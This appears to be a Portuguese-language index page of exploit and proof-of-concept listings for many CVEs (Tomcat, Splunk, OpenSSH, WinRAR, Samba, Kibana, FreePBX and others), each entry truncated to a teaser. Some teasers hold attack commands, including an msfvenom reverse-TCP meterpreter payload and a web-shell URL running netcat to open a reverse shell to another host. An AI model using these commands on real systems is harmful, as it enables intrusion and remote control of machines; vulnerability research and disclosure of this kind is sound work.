CVE-2022-24818

CVE-2022-24818: Desserialização Java via Lookups JNDI não verificados no GeoServer e GeoTools A biblioteca GeoTools possui uma série de fontes de dados que podem executar lookups JNDI não verificados, que por sua vez podem ser usados para realizar desserialização de classes e resultar em execução...

CVE-2022-43571

CVE-2022-43571 CVE-2022-43571 Splunk RCE – minha jornada pessoal para colorir sua vida Somente porque recebi a declaração do meu TI de que não havia razões para atualizar o SPLUNK, analisei essa vulnerabilidade CVE-2022-43571 para provar o contrário em relação à execução remota de código. Aqui es...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 é uma vulnerabilidade crítica de execução remota de código RCE descoberta no Apache Tomcat Os sistemas com HTTP PUTs habilitados através da definição do parâmetro de inicialização "read-only" do Default servlet para "false" são afetados. As versões do Tomcat anterior...

CVE-2022-44830

Descrição sugerida Foi descoberto que o Sourcecodester Event Registration App v1.0 contém múltiplas vulnerabilidades de injeção de CSV nos campos First Name, Contact e Remarks. Essas vulnerabilidades permitem que atacantes executem código arbitrário por meio de um arquivo Excel especialmente...

CVE-2022-30190

CVE-2022-30190 Orientação para a vulnerabilidade da Ferramenta de Diagnóstico do Suporte da Microsoft CVE-2022-30190 MSRC / Por msrc / 30 de maio de 2022 Na segunda-feira, 30 de maio de 2022, a Microsoft emitiu o CVE-2022-30190 referente à vulnerabilidade da Ferramenta de Diagnóstico do Suporte d...

CVE-2021-3129_exploit

CVE-2021-3129exploit Exploit para CVE-2021-3129 Configuração do laboratório: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Uso: root@kitploit: $ git clone...

CVE-2025-32433-available-for-windows

CVE-2025-32433 Informações sobre a vulnerabilidade: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC root@kitploit: kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server...

CVE-2024-6387-Race-Condition-in-Signal-Handling-for-OpenSSH

CVE-2024-6387: Condição de Corrida no Tratamento de Sinais para OpenSSH Visão Geral CVE-2024-6387 é uma vulnerabilidade crítica descoberta no servidor OpenSSH sshd que permite a um atacante potencialmente alcançar execução remota de código RCE não autenticada como root. A vulnerabilidade surge de...

CVE-2018-20250

Configuração Vídeo demonstração: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passos Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

CVE-2022-30024

CVE-2022-30024 Exploit de RCE no Tplink wr841 v10 ⚠️ Isenção de responsabilidade O código neste repositório é fornecido como está apenas para fins educacionais e de pesquisa em segurança defensiva. Use-o apenas em sistemas que você possui ou tem permissão explícita para testar. O autor não é...

CVE-2019-7609

CVE-2019-7609 Novo CVE-2019-7609 que funciona com python 13 explora o CVE-2019-7609 RCE no Kibana da maneira certa com scripts python3 Referência: https://github.com/LandGrey/CVE-2019-7609 Captura de tela uso root@kitploit: usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -po...

CVE-2022-45701

CVE-2022-45701 Firmware de Roteador Arris 9.1.103 - Exploit de Prova de Conceito PoC de Execução Remota de Código RCE Autenticado...

CVE-2025-57819

CVE-2025-57819 - FreePBX Execução Remota de Código RCE não Autenticada CVE-2025-57819 é uma vulnerabilidade crítica de Execução Remota de Código RCE que afeta Sangoma FreePBX nas versões 15, 16 e 17. A vulnerabilidade decorre de saneamento insuficiente da entrada controlada pelo usuário em...

CVE-2024-21378

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos o retorno seguro de todos os cidadãos que foram feitos reféns pelo grupo terrorista Hamas. Não descansaremos até que todos os reféns sejam libertados e retornem em segurança para casa. Você pode ajudar a trazê-los de...

gitlist-RCE

gitlist-RCE CVE-2014-4511 exemplo: após o upload da shell com sucesso: acesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-59528

CVE-2025-59528: Prova de Conceito de Execução Remota de Código no Flowise CustomMCP Uma prova de conceito em Go para CVE-2025-59528 direcionada às versões do Flowise = 3.0.5. Resumo O Flowise permite a execução de JavaScript não validado por meio da configuração do nó CustomMCP. A aplicação passa...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: ATAQUE AO SISTEMA OPERACIONAL WINDOWS COM BASE NA VULNERABILIDADE DO PROTOCOLO SMB. 1. DESCRIÇÃO 2. INTRODUÇÃO GERAL 3. PREPARAÇÃO 4. EXECUÇÃO DO ATAQUE 5. COMO SE PREVENIR 1. DESCRIÇÃO Neste laboratório usaremos dois computadores para simular um ataque baseado na vulnerabilidade do...

CVE-2021-22192

CVE-2021-22192 Laboratório CVE-2021-22192: vulnerabilidade de RCE por usuário não autorizado 0x10 Ambiente do laboratório 0x20 Estrutura de diretórios root@kitploit: CVE-2021-22192 ├── README.md ............... 此 README 说明 ├── imgs .................... 辅助 README 说明的图片 ├── gitlab...

CVE-2007-2447-RCE

Este exploit ajuda você a obter um reverse shell, explorando o Samba 3.0.20 3.0.25 · Ao executar o script com python3 com o parâmetro --help, ele nos pede uma série de parâmetros root@kitploit: --lhost LHOST seu host ip onde o shell será recebido --lport LPORT sua porta porta onde o shell será...

CVE-2019-3396

CVE-2019-3396 Path traversal do Confluence Widget Connector CVE-2019-3396 PoC de RCE root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...